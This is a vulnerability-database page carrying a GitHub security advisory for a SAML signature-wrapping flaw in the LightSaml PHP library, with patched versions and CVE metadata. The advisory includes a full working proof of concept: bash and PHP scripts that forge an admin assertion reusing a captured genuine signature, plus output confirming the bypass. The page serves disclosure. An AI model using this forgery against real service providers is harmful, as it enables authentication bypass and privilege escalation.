GHSA-W553-PWX6-3MG9
Vulnerability from github – Published: 2026-11-16 22:08 – Updated: 2026-11-16 22:08Summary
LightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound samlp:Response by collecting its direct-child saml:Assertion elements and validating each one's ds:Signature via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed Reference URI="#id" with a document-wide //*[@Id] XPath that returns the first ID-bearing element anywhere in the document.
An attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims.
Details
Response::deserialize collects assertions with manyElementsFromXml, whose relative XPath saml:Assertion matches only direct children of the Response. Each collected assertion is validated independently by AssertionSignatureValidatorAction against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document):
https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28
The check delegates to xmlseclibs XMLSecurityDSig::validateReference(), which first removes the signature node being validated from the shared document (enveloped-signature removal):
if (! $docElem->isSameNode($this->sigNode)) {
if ($this->sigNode->parentNode != null) {
$this->sigNode->parentNode->removeChild($this->sigNode); // strips sig from shared DOM
}
}
https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596
processRefNode() then resolves URI="#id" document-wide and takes item(0), the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature's own subtree:
$query = '//*['.$iDlist.']';
$dataObject = $xPath->query($query)->item(0);
https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525
So the digest target xmlseclibs picks (//*[@Id] item(0), anywhere) which isn't necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected:
https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288
An example attacker buries the genuine signed bytes (the assertion with its ds:Signature element stripped) inside samlp:Extensions, so it is the first @Id element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same ID, attacker claims, and a verbatim copy of the genuine ds:Signature:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),
but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the
enveloped+exc-c14n digest target is the assertion sans Signature. -->
<samlp:Extensions>
<saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
<saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
<saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
</saml:Assertion>
</samlp:Extensions>
<!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,
verbatim copy of the genuine ds:Signature. -->
<saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> ...byte-for-byte copy of the genuine signature... </ds:Signature>
<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>
<saml:Conditions NotBefore="2040-01-01T00:00:00Z" NotOnOrAfter="2041-01-01T00:00:00Z"/>
<saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
PoC
#!/usr/bin/env bash
set -euo pipefail
WORK="$(mktemp -d)"; trap 'rm -rf "$WORK"' EXIT; cd "$WORK"
IDP_ENTITY="https://idp.example.com"; ASSERTION_ID="_signed_assertion"
composer require litesaml/lightsaml:5.0.0 --no-interaction --quiet
# trusted IdP key + self-signed cert (out-of-band trust anchor)
openssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \
-subj "/CN=idp.example.com" >/dev/null 2>&1
# genuine Response with one to-be-signed assertion
cat > genuine_tmpl.xml <<XML
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>${IDP_ENTITY}</saml:Issuer>
<saml:Assertion ID="${ASSERTION_ID}" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>${IDP_ENTITY}</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#${ASSERTION_ID}">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue></ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue></ds:SignatureValue>
</ds:Signature>
<saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
<saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
<saml:AttributeStatement>
<saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
XML
# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)
xmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \
--id-attr:ID "urn:oasis:names:tc:SAML:2.0:assertion:Assertion" \
--output genuine_signed.xml genuine_tmpl.xml >/dev/null
# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,
# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine
# signature + attacker claims.
php -r '
$doc = new DOMDocument(); $doc->load("genuine_signed.xml");
$xp = new DOMXPath($doc);
$xp->registerNamespace("saml","urn:oasis:names:tc:SAML:2.0:assertion");
$xp->registerNamespace("ds","http://www.w3.org/2000/09/xmldsig#");
$resp = $doc->documentElement;
$genuine = $xp->query("//saml:Assertion[@ID=\"_signed_assertion\"]")->item(0);
$copiedSig = $doc->saveXML($xp->query("./ds:Signature", $genuine)->item(0));
// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)
$buried = $genuine->cloneNode(true);
$buried->removeChild($xp->query("./ds:Signature", $buried)->item(0));
// forged = copied signature + attacker claims (the only direct-child assertion)
$forged =
"<saml:Assertion xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">"
."<saml:Issuer>https://idp.example.com</saml:Issuer>".$copiedSig
."<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>"
."<saml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/>"
."<saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>"
."</saml:Assertion>";
$frag = $doc->createDocumentFragment(); $frag->appendXML($forged);
// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after
$ext = $doc->createElementNS("urn:oasis:names:tc:SAML:2.0:protocol","samlp:Extensions");
$ext->appendChild($buried);
$resp->replaceChild($ext, $genuine);
$resp->appendChild($frag);
file_put_contents("tampered.xml", $doc->saveXML());
'
# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true
cat > consumer.php <<'PHP'
<?php
require __DIR__ . '/vendor/autoload.php';
use LightSaml\Action\Assertion\Inbound\AssertionSignatureValidatorAction;
use LightSaml\Context\Profile\{AssertionContext, ProfileContext};
use LightSaml\Credential\{UsageType, X509Certificate, X509Credential};
use LightSaml\Context\Model\DeserializationContext; // moved from Model\Context in 5.0.0
use LightSaml\Model\Protocol\SamlMessage;
use LightSaml\Resolver\Credential\Factory\CredentialResolverFactory;
use LightSaml\Store\Credential\StaticCredentialStore;
use LightSaml\Validator\Model\Signature\SignatureValidator;
use Psr\Log\NullLogger;
[$_, $xmlPath, $certPath, $idpEntityId] = $argv;
$x509 = new X509Certificate(); $x509->loadPem(file_get_contents($certPath)); // pinned trust anchor
$cred = new X509Credential($x509); $cred->setEntityId($idpEntityId); $cred->setUsageType(UsageType::SIGNING);
$store = new StaticCredentialStore(); $store->add($cred);
$validator = new SignatureValidator((new CredentialResolverFactory($store))->build());
$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true
$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());
$profile = new ProfileContext('profile', ProfileContext::ROLE_SP);
$bypass = false;
echo "assertions LightSaml collected: " . count($message->getAllAssertions()) . "\n";
foreach ($message->getAllAssertions() as $i => $a) {
$nameId = ($a->getSubject() && $a->getSubject()->getNameID()) ? $a->getSubject()->getNameID()->getValue() : '(none)';
$attrs = [];
foreach ($a->getAllAttributeStatements() as $s) foreach ($s->getAllAttributes() as $at)
$attrs[$at->getName()] = implode(',', array_map(fn($v) => (string)$v, $at->getAllAttributeValues()));
echo "ASSERTION #$i NameID=$nameId Attributes=".json_encode($attrs)."\n";
$ctx = new AssertionContext(); $ctx->setAssertion($a); $ctx->setParent($profile);
try { $action->execute($ctx); $r = 'ACCEPTED'; } catch (\Throwable $e) { $r = 'REJECTED: '.$e->getMessage(); }
echo " LightSaml validation: $r\n";
if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) {
$bypass = true; echo " >>> BYPASS: forged assertion validated AND attacker claims surfaced\n";
}
}
echo $bypass ? "RESULT: BYPASS CONFIRMED\n" : "RESULT: no bypass\n";
exit($bypass ? 0 : 1);
PHP
php consumer.php tampered.xml idp_cert.pem "$IDP_ENTITY"
Observed output:
assertions LightSaml collected: 1
ASSERTION #0 NameID=attacker@evil.com Attributes={"role":"admin"}
LightSaml validation: ACCEPTED
>>> BYPASS: forged assertion validated AND attacker claims surfaced
RESULT: BYPASS CONFIRMED
Impact
Authentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "litesaml/lightsaml"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "litesaml/lightsaml"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63182"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-16T22:08:38Z",
"nvd_published_at": "2026-10-30T22:16:58Z",
"severity": "HIGH"
},
"details": "### Summary\n\nLightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound `samlp:Response` by collecting its direct-child `saml:Assertion` elements and validating each one\u0027s `ds:Signature` via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed `Reference URI=\"#id\"` with a document-wide `//*[@Id]` XPath that returns the first ID-bearing element anywhere in the document.\n\nAn attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims.\n\n### Details\n\n`Response::deserialize` collects assertions with `manyElementsFromXml`, whose relative XPath `saml:Assertion` matches only direct children of the `Response`. Each collected assertion is validated independently by `AssertionSignatureValidatorAction` against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document):\n\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28\n\nThe check delegates to xmlseclibs `XMLSecurityDSig::validateReference()`, which first removes the signature node being validated from the shared document (enveloped-signature removal):\n\n```php\nif (! $docElem-\u003eisSameNode($this-\u003esigNode)) {\n if ($this-\u003esigNode-\u003eparentNode != null) {\n $this-\u003esigNode-\u003eparentNode-\u003eremoveChild($this-\u003esigNode); // strips sig from shared DOM\n }\n}\n```\n\nhttps://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596\n\n`processRefNode()` then resolves `URI=\"#id\"` document-wide and takes `item(0)`, the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature\u0027s own subtree:\n\n```php\n$query = \u0027//*[\u0027.$iDlist.\u0027]\u0027;\n$dataObject = $xPath-\u003equery($query)-\u003eitem(0);\n```\n\nhttps://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525\n\nSo the digest target xmlseclibs picks (`//*[@Id]` item(0), anywhere) which isn\u0027t necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected:\n\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288\n\nAn example attacker buries the genuine signed bytes (the assertion with its `ds:Signature` element stripped) inside `samlp:Extensions`, so it is the first `@Id` element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same `ID`, attacker claims, and a verbatim copy of the genuine `ds:Signature`:\n\n```xml\n\u003csamlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_resp\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n \u003csaml:Issuer\u003ehttps://idp.example.com\u003c/saml:Issuer\u003e\n\n \u003c!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),\n but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the\n enveloped+exc-c14n digest target is the assertion sans Signature. --\u003e\n \u003csamlp:Extensions\u003e\n \u003csaml:Assertion ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n \u003csaml:Issuer\u003ehttps://idp.example.com\u003c/saml:Issuer\u003e\n \u003csaml:Subject\u003e\u003csaml:NameID\u003ealice@example.com\u003c/saml:NameID\u003e\u003c/saml:Subject\u003e\n \u003csaml:Conditions NotBefore=\"2024-01-01T00:00:00Z\" NotOnOrAfter=\"2099-01-01T00:00:00Z\"/\u003e\n \u003csaml:AttributeStatement\u003e\u003csaml:Attribute Name=\"role\"\u003e\u003csaml:AttributeValue\u003euser\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\u003c/saml:AttributeStatement\u003e\n \u003c/saml:Assertion\u003e\n \u003c/samlp:Extensions\u003e\n\n \u003c!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,\n verbatim copy of the genuine ds:Signature. --\u003e\n \u003csaml:Assertion ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n \u003csaml:Issuer\u003ehttps://idp.example.com\u003c/saml:Issuer\u003e\n \u003cds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"\u003e ...byte-for-byte copy of the genuine signature... \u003c/ds:Signature\u003e\n \u003csaml:Subject\u003e\u003csaml:NameID\u003eattacker@evil.com\u003c/saml:NameID\u003e\u003c/saml:Subject\u003e\n \u003csaml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/\u003e\n \u003csaml:AttributeStatement\u003e\u003csaml:Attribute Name=\"role\"\u003e\u003csaml:AttributeValue\u003eadmin\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\u003c/saml:AttributeStatement\u003e\n \u003c/saml:Assertion\u003e\n\u003c/samlp:Response\u003e\n```\n\n### PoC\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\nWORK=\"$(mktemp -d)\"; trap \u0027rm -rf \"$WORK\"\u0027 EXIT; cd \"$WORK\"\nIDP_ENTITY=\"https://idp.example.com\"; ASSERTION_ID=\"_signed_assertion\"\n\ncomposer require litesaml/lightsaml:5.0.0 --no-interaction --quiet\n\n# trusted IdP key + self-signed cert (out-of-band trust anchor)\nopenssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \\\n -subj \"/CN=idp.example.com\" \u003e/dev/null 2\u003e\u00261\n\n# genuine Response with one to-be-signed assertion\ncat \u003e genuine_tmpl.xml \u003c\u003cXML\n\u003csamlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"\n ID=\"_resp\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n \u003csaml:Issuer\u003e${IDP_ENTITY}\u003c/saml:Issuer\u003e\n \u003csaml:Assertion ID=\"${ASSERTION_ID}\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n \u003csaml:Issuer\u003e${IDP_ENTITY}\u003c/saml:Issuer\u003e\n \u003cds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"\u003e\n \u003cds:SignedInfo\u003e\n \u003cds:CanonicalizationMethod Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/\u003e\n \u003cds:SignatureMethod Algorithm=\"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256\"/\u003e\n \u003cds:Reference URI=\"#${ASSERTION_ID}\"\u003e\n \u003cds:Transforms\u003e\n \u003cds:Transform Algorithm=\"http://www.w3.org/2000/09/xmldsig#enveloped-signature\"/\u003e\n \u003cds:Transform Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/\u003e\n \u003c/ds:Transforms\u003e\n \u003cds:DigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"/\u003e\n \u003cds:DigestValue\u003e\u003c/ds:DigestValue\u003e\n \u003c/ds:Reference\u003e\n \u003c/ds:SignedInfo\u003e\n \u003cds:SignatureValue\u003e\u003c/ds:SignatureValue\u003e\n \u003c/ds:Signature\u003e\n \u003csaml:Subject\u003e\u003csaml:NameID\u003ealice@example.com\u003c/saml:NameID\u003e\u003c/saml:Subject\u003e\n \u003csaml:Conditions NotBefore=\"2024-01-01T00:00:00Z\" NotOnOrAfter=\"2099-01-01T00:00:00Z\"/\u003e\n \u003csaml:AttributeStatement\u003e\n \u003csaml:Attribute Name=\"role\"\u003e\u003csaml:AttributeValue\u003euser\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\n \u003c/saml:AttributeStatement\u003e\n \u003c/saml:Assertion\u003e\n\u003c/samlp:Response\u003e\nXML\n\n# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)\nxmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \\\n --id-attr:ID \"urn:oasis:names:tc:SAML:2.0:assertion:Assertion\" \\\n --output genuine_signed.xml genuine_tmpl.xml \u003e/dev/null\n\n# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,\n# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine\n# signature + attacker claims.\nphp -r \u0027\n$doc = new DOMDocument(); $doc-\u003eload(\"genuine_signed.xml\");\n$xp = new DOMXPath($doc);\n$xp-\u003eregisterNamespace(\"saml\",\"urn:oasis:names:tc:SAML:2.0:assertion\");\n$xp-\u003eregisterNamespace(\"ds\",\"http://www.w3.org/2000/09/xmldsig#\");\n$resp = $doc-\u003edocumentElement;\n$genuine = $xp-\u003equery(\"//saml:Assertion[@ID=\\\"_signed_assertion\\\"]\")-\u003eitem(0);\n$copiedSig = $doc-\u003esaveXML($xp-\u003equery(\"./ds:Signature\", $genuine)-\u003eitem(0));\n\n// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)\n$buried = $genuine-\u003ecloneNode(true);\n$buried-\u003eremoveChild($xp-\u003equery(\"./ds:Signature\", $buried)-\u003eitem(0));\n\n// forged = copied signature + attacker claims (the only direct-child assertion)\n$forged =\n \"\u003csaml:Assertion xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_signed_assertion\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2024-01-01T00:00:00Z\\\"\u003e\"\n .\"\u003csaml:Issuer\u003ehttps://idp.example.com\u003c/saml:Issuer\u003e\".$copiedSig\n .\"\u003csaml:Subject\u003e\u003csaml:NameID\u003eattacker@evil.com\u003c/saml:NameID\u003e\u003c/saml:Subject\u003e\"\n .\"\u003csaml:Conditions NotBefore=\\\"2040-01-01T00:00:00Z\\\" NotOnOrAfter=\\\"2041-01-01T00:00:00Z\\\"/\u003e\"\n .\"\u003csaml:AttributeStatement\u003e\u003csaml:Attribute Name=\\\"role\\\"\u003e\u003csaml:AttributeValue\u003eadmin\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\u003c/saml:AttributeStatement\u003e\"\n .\"\u003c/saml:Assertion\u003e\";\n$frag = $doc-\u003ecreateDocumentFragment(); $frag-\u003eappendXML($forged);\n\n// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after\n$ext = $doc-\u003ecreateElementNS(\"urn:oasis:names:tc:SAML:2.0:protocol\",\"samlp:Extensions\");\n$ext-\u003eappendChild($buried);\n$resp-\u003ereplaceChild($ext, $genuine);\n$resp-\u003eappendChild($frag);\nfile_put_contents(\"tampered.xml\", $doc-\u003esaveXML());\n\u0027\n\n# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true\ncat \u003e consumer.php \u003c\u003c\u0027PHP\u0027\n\u003c?php\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\nuse LightSaml\\Action\\Assertion\\Inbound\\AssertionSignatureValidatorAction;\nuse LightSaml\\Context\\Profile\\{AssertionContext, ProfileContext};\nuse LightSaml\\Credential\\{UsageType, X509Certificate, X509Credential};\nuse LightSaml\\Context\\Model\\DeserializationContext; // moved from Model\\Context in 5.0.0\nuse LightSaml\\Model\\Protocol\\SamlMessage;\nuse LightSaml\\Resolver\\Credential\\Factory\\CredentialResolverFactory;\nuse LightSaml\\Store\\Credential\\StaticCredentialStore;\nuse LightSaml\\Validator\\Model\\Signature\\SignatureValidator;\nuse Psr\\Log\\NullLogger;\n\n[$_, $xmlPath, $certPath, $idpEntityId] = $argv;\n$x509 = new X509Certificate(); $x509-\u003eloadPem(file_get_contents($certPath)); // pinned trust anchor\n$cred = new X509Credential($x509); $cred-\u003esetEntityId($idpEntityId); $cred-\u003esetUsageType(UsageType::SIGNING);\n$store = new StaticCredentialStore(); $store-\u003eadd($cred);\n$validator = new SignatureValidator((new CredentialResolverFactory($store))-\u003ebuild());\n$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true\n\n$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());\n$profile = new ProfileContext(\u0027profile\u0027, ProfileContext::ROLE_SP);\n$bypass = false;\necho \"assertions LightSaml collected: \" . count($message-\u003egetAllAssertions()) . \"\\n\";\nforeach ($message-\u003egetAllAssertions() as $i =\u003e $a) {\n $nameId = ($a-\u003egetSubject() \u0026\u0026 $a-\u003egetSubject()-\u003egetNameID()) ? $a-\u003egetSubject()-\u003egetNameID()-\u003egetValue() : \u0027(none)\u0027;\n $attrs = [];\n foreach ($a-\u003egetAllAttributeStatements() as $s) foreach ($s-\u003egetAllAttributes() as $at)\n $attrs[$at-\u003egetName()] = implode(\u0027,\u0027, array_map(fn($v) =\u003e (string)$v, $at-\u003egetAllAttributeValues()));\n echo \"ASSERTION #$i NameID=$nameId Attributes=\".json_encode($attrs).\"\\n\";\n $ctx = new AssertionContext(); $ctx-\u003esetAssertion($a); $ctx-\u003esetParent($profile);\n try { $action-\u003eexecute($ctx); $r = \u0027ACCEPTED\u0027; } catch (\\Throwable $e) { $r = \u0027REJECTED: \u0027.$e-\u003egetMessage(); }\n echo \" LightSaml validation: $r\\n\";\n if ($r === \u0027ACCEPTED\u0027 \u0026\u0026 (strpos($nameId,\u0027evil.com\u0027) !== false || ($attrs[\u0027role\u0027] ?? \u0027\u0027) === \u0027admin\u0027)) {\n $bypass = true; echo \" \u003e\u003e\u003e BYPASS: forged assertion validated AND attacker claims surfaced\\n\";\n }\n}\necho $bypass ? \"RESULT: BYPASS CONFIRMED\\n\" : \"RESULT: no bypass\\n\";\nexit($bypass ? 0 : 1);\nPHP\n\nphp consumer.php tampered.xml idp_cert.pem \"$IDP_ENTITY\"\n```\n\nObserved output:\n\n```\nassertions LightSaml collected: 1\nASSERTION #0 NameID=attacker@evil.com Attributes={\"role\":\"admin\"}\n LightSaml validation: ACCEPTED\n \u003e\u003e\u003e BYPASS: forged assertion validated AND attacker claims surfaced\nRESULT: BYPASS CONFIRMED\n```\n\n### Impact\n\nAuthentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.",
"id": "GHSA-w553-pwx6-3mg9",
"modified": "2026-11-16T22:08:38Z",
"published": "2026-11-16T22:08:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/litesaml/lightsaml/security/advisories/GHSA-w553-pwx6-3mg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63182"
},
{
"type": "WEB",
"url": "https://github.com/litesaml/lightsaml/pull/113"
},
{
"type": "WEB",
"url": "https://github.com/litesaml/lightsaml/pull/122"
},
{
"type": "WEB",
"url": "https://github.com/litesaml/lightsaml/commit/230e62d1325f2cbcaac814b78409775f7a8806a2"
},
{
"type": "WEB",
"url": "https://github.com/litesaml/lightsaml/commit/3af82bf2f3865e6aafeeb1a97c97b383b8bb7b00"
},
{
"type": "PACKAGE",
"url": "https://github.com/litesaml/lightsaml"
},
{
"type": "WEB",
"url": "https://github.com/litesaml/lightsaml/releases/tag/4.7.1"
},
{
"type": "WEB",
"url": "https://github.com/litesaml/lightsaml/releases/tag/5.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "lightsaml allows Signature wrapping bypass"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.